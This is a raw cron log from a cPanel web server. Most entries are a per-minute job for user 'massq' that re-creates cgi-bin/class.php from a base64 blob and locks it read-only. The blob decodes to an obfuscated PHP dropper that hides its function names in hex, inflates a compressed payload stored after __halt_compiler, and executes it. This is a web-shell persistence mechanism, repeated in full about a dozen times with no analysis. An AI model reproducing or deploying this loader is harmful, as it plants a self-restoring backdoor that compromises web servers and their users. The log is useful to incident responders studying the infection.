Nov 10 19:08:01 server CROND[16644]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:09:01 server CROND[17466]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:09:01 server CROND[17467]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 19:10:01 server CROND[18388]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:10:01 server CROND[18390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 19:10:01 server CROND[18389]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 19:10:01 server CROND[18391]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 19:11:01 server CROND[19271]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:12:01 server CROND[19710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:12:01 server CROND[19711]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 19:13:01 server CROND[20462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:14:01 server CROND[20763]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:15:01 server CROND[21684]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 19:15:01 server CROND[21685]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 19:15:01 server CROND[21686]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:16:01 server CROND[22559]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:17:01 server CROND[23376]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:18:01 server CROND[24188]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:19:01 server CROND[25020]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:20:01 server CROND[25832]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 19:20:01 server CROND[25833]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 19:20:01 server CROND[25838]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 19:20:01 server CROND[25844]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 19:20:01 server CROND[25841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
